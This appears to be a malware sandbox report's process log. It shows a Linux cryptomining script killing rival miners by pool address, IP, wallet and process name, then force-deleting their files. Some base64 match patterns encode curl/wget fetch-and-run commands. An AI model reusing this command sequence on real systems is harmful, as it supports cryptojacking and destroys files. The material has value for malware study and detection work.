-
/bin/psps auxf2⤵PID:1083
-
/bin/grepgrep -v grep2⤵PID:1089
-
/bin/psps auxf2⤵PID:1088
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1090
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1091
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1092
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1096
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1095
-
/bin/grepgrep -v grep2⤵PID:1094
-
/bin/psps auxf2⤵PID:1093
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1097
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1101
-
/bin/grepgrep xmrpool.eu2⤵PID:1100
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1102
-
/bin/grepgrep -v grep2⤵PID:1099
-
/bin/psps auxf2⤵PID:1098
-
/bin/grepgrep kieuanilam.me2⤵PID:1105
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1107
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1106
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1103 -
/bin/grepgrep -v grep2⤵PID:1104
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
/bin/grepgrep xiaoyao2⤵PID:1109
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1108 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1111
-
/usr/local/sbin/killkill -9 11093⤵PID:1112
-
/usr/local/bin/killkill -9 11093⤵PID:1112
-
/usr/sbin/killkill -9 11093⤵PID:1112
-
/usr/bin/killkill -9 11093⤵PID:1112
-
/sbin/killkill -9 11093⤵PID:1112
-
/bin/killkill -9 11093⤵PID:1112
-
/bin/grepgrep xiaoxue2⤵PID:1114
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1113 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1116
-
/usr/local/sbin/killkill -9 11143⤵PID:1117
-
/usr/local/bin/killkill -9 11143⤵PID:1117
-
/usr/sbin/killkill -9 11143⤵PID:1117
-
/usr/bin/killkill -9 11143⤵PID:1117
-
/sbin/killkill -9 11143⤵PID:1117
-
/bin/killkill -9 11143⤵
- Reads CPU attributes
PID:1117 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1115
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1120
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1121
-
/bin/grepgrep 46.243.253.152⤵PID:1119
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1123
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1122
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1127
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1126
-
/bin/grepgrep 176.31.6.162⤵PID:1125
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1129
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1128
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1131
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1130
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1133
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1132
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵
- Reads CPU attributes
PID:1134 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1136
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1139
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1138
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1141
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1140
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1143
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1142
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1145
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1144
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1147
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵
- Reads runtime system information
PID:1146 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1148
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1151
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1150
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1153
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1152
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1155
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1154
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads runtime system information
PID:1156 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1157
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1159
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1158
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1160
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1163
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1162
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1164
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1165
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1167
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1166
-
/usr/bin/pgreppgrep -f ./servcesa2⤵
- Reads CPU attributes
PID:1168 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1169
-
/usr/bin/pgreppgrep -f ./vsp2⤵
- Reads CPU attributes
PID:1170 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1171
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1173
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads runtime system information
PID:1172 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1175
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1174
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1177
-
/usr/bin/pgreppgrep -f ./vpp2⤵
- Reads runtime system information
PID:1176 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1179
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1178
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1181
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1180
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1183
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1182 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1185
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads CPU attributes
PID:1184 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1187
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads runtime system information
PID:1186 -
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵
- Reads CPU attributes
PID:1188 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1189
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1191
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1190
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1193
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1192
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1194
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1197
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads runtime system information
PID:1196 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1199
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1198
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1200
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1203
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1202 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1205
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1204
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1207
-
/usr/bin/pgreppgrep -f jawa2⤵
- Reads CPU attributes
PID:1206 -
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1208
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1209
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1211
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1210
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1213
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1212
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1215
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1214
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1216
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1217
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1219
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1218
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1220
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1221
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1222 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1225
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1224
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads CPU attributes
PID:1226 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1227
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1229
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1228
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1231
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1230
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1233
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1232
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1235
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵
- Reads CPU attributes
PID:1234 -
/usr/bin/pgreppgrep -f sysstats2⤵
- Reads CPU attributes
PID:1236 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1237
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1239
-
/usr/bin/pgreppgrep -f systemxlv2⤵
- Reads CPU attributes
PID:1238 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1241
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1240
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1243
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1242
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1244
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1245
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1246
-
/usr/bin/pkillpkill -f cryptonight2⤵
- Reads runtime system information
PID:1247 -
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1248
-
/usr/bin/pkillpkill -f performedl2⤵PID:1249
-
/usr/bin/pkillpkill -f JnKihGjn2⤵
- Reads CPU attributes
PID:1250 -
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1251
-
/usr/bin/pkillpkill -f irqba5xnc12⤵
- Reads runtime system information
PID:1252 -
/usr/bin/pkillpkill -f irqbnc12⤵
- Reads CPU attributes
PID:1253 -
/usr/bin/pkillpkill -f ir29xc12⤵PID:1254
-
/usr/bin/pkillpkill -f conns2⤵
- Reads CPU attributes
PID:1255 -
/usr/bin/pkillpkill -f irqbalance2⤵
- Reads CPU attributes
PID:1256 -
/usr/bin/pkillpkill -f crypto-pool2⤵PID:1257
-
/usr/bin/pkillpkill -f XJnRj2⤵PID:1258
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1259
-
/usr/bin/pkillpkill -f pythno2⤵PID:1260
-
/usr/bin/pkillpkill -f jweri2⤵PID:1261
-
/usr/bin/pkillpkill -f lx262⤵PID:1262
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads CPU attributes
PID:1263 -
/usr/bin/pkillpkill -f BI5zj2⤵PID:1264
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1265
-
/usr/bin/pkillpkill -f minerd2⤵PID:1266
-
/usr/bin/pkillpkill -f minergate2⤵PID:1267
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1268
-
/usr/bin/pkillpkill -f ysaydh2⤵PID:1269
-
/usr/bin/pkillpkill -f bonns2⤵PID:1270
-
/usr/bin/pkillpkill -f donns2⤵PID:1271
-
/usr/bin/pkillpkill -f kxjd2⤵
- Reads CPU attributes
PID:1272 -
/usr/bin/pkillpkill -f Duck.sh2⤵
- Reads runtime system information
PID:1273 -
/usr/bin/pkillpkill -f bonn.sh2⤵PID:1274
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1275
-
/usr/bin/pkillpkill -f kworker342⤵PID:1276
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1277
-
/usr/bin/pkillpkill -f pro.sh2⤵
- Reads CPU attributes
PID:1278 -
/usr/bin/pkillpkill -f polkitd2⤵PID:1279
-
/usr/bin/pkillpkill -f acpid2⤵PID:1280
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1281
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1282
-
/usr/bin/pkillpkill -f irqbalanc12⤵PID:1283
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads runtime system information
PID:1284 -
/usr/bin/pkillpkill -f i5862⤵PID:1285
-
/usr/bin/pkillpkill -f gddr2⤵PID:1286
-
/usr/bin/pkillpkill -f mstxmr2⤵PID:1287
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1288
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1289
-
/usr/bin/pkillpkill -f deamon2⤵
- Reads CPU attributes
PID:1290 -
/usr/bin/pkillpkill -f disk_genius2⤵PID:1291
-
/usr/bin/pkillpkill -f sourplum2⤵PID:1292
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads runtime system information
PID:1293 -
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1294
-
/usr/bin/pkillpkill -f zigw2⤵PID:1295
-
/usr/bin/pkillpkill -f devtool2⤵PID:1296
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads runtime system information
PID:1297 -
/usr/bin/pkillpkill -f systemctI2⤵PID:1298
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1299
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1300
-
/usr/bin/pkillpkill -f sustes2⤵PID:1301
-
/usr/bin/pkillpkill -f xmrig2⤵PID:1302
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1303 -
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1304
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1305
-
/usr/bin/pkillpkill -f nginxk2⤵
- Reads CPU attributes
PID:1306 -
/usr/bin/pkillpkill -f tmp/wc.conf2⤵PID:1307
-
/usr/bin/pkillpkill -f xmrig-notls2⤵
- Reads CPU attributes
PID:1308 -
/usr/bin/pkillpkill -f xmr-stak2⤵
- Reads runtime system information
PID:1309 -
/usr/bin/pkillpkill -f suppoie2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1310 -
/usr/bin/pkillpkill -f zer0day.ru2⤵
- Reads runtime system information
PID:1311 -
/usr/bin/pkillpkill -f dbus-daemon--system2⤵
- Reads CPU attributes
PID:1312 -
/usr/bin/pkillpkill -f nullcrew2⤵PID:1313
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads runtime system information
PID:1314 -
/usr/bin/pkillpkill -f kworkerds2⤵PID:1315
-
/usr/bin/pkillpkill -f init10.cfg2⤵PID:1316
-
/usr/bin/pkillpkill -f /wl.conf2⤵
- Reads runtime system information
PID:1317 -
/usr/bin/pkillpkill -f crond642⤵
- Reads runtime system information
PID:1318 -
/usr/bin/pkillpkill -f sustse2⤵PID:1319
-
/usr/bin/pkillpkill -f vmlinuz2⤵PID:1320
-
/usr/bin/pkillpkill -f exin2⤵
- Reads CPU attributes
PID:1321 -
/usr/bin/pkillpkill -f apachiii2⤵PID:1322
-
/usr/bin/pkillpkill -f svcworkmanager2⤵PID:1323
-
/usr/bin/pkillpkill -f xr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1324 -
/bin/rmrm -rf /usr/bin/config.json2⤵
- Write file to user bin folder
PID:1325 -
/bin/rmrm -rf /usr/bin/exin2⤵
- Write file to user bin folder
PID:1326 -
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1327
-
/bin/rmrm -rf /tmp/log_rot2⤵
- Writes file to tmp directory
PID:1328 -
/bin/rmrm -rf /tmp/apachiii2⤵PID:1329
-
/bin/rmrm -rf /tmp/sustse2⤵
- Writes file to tmp directory
PID:1330 -
/bin/rmrm -rf /tmp/php2⤵
- Writes file to tmp directory
PID:1331 -
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1332
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1333
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1334
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1335
-
/bin/rmrm -rf /tmp/javax/sshd22⤵
- Writes file to tmp directory
PID:1336 -
/bin/rmrm -rf /tmp/.profile2⤵
- Writes file to tmp directory
PID:1337 -
/bin/rmrm -rf /tmp/1.so2⤵
- Writes file to tmp directory
PID:1338 -
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1339
-
/bin/rmrm -rf /tmp/kworkerds32⤵
- Writes file to tmp directory
PID:1340 -
/bin/rmrm -rf /tmp/kworkerdssx2⤵
- Writes file to tmp directory
PID:1341 -
/bin/rmrm -rf /tmp/xd.json2⤵
- Writes file to tmp directory
PID:1342 -
/bin/rmrm -rf /tmp/syslogd2⤵PID:1343
-
/bin/rmrm -rf /tmp/syslogdb2⤵
- Writes file to tmp directory
PID:1344 -
/bin/rmrm -rf /tmp/65ccEJ72⤵
- Writes file to tmp directory
PID:1345 -
/bin/rmrm -rf /tmp/jmxx2⤵PID:1346
-
/bin/rmrm -rf /tmp/2Ne80nA2⤵
- Writes file to tmp directory
PID:1347 -
/bin/rmrm -rf /tmp/dl2⤵
- Writes file to tmp directory
PID:1348 -
/bin/rmrm -rf /tmp/ddg2⤵
- Writes file to tmp directory
PID:1349 -
/bin/rmrm -rf /tmp/systemxlv2⤵
- Writes file to tmp directory
PID:1350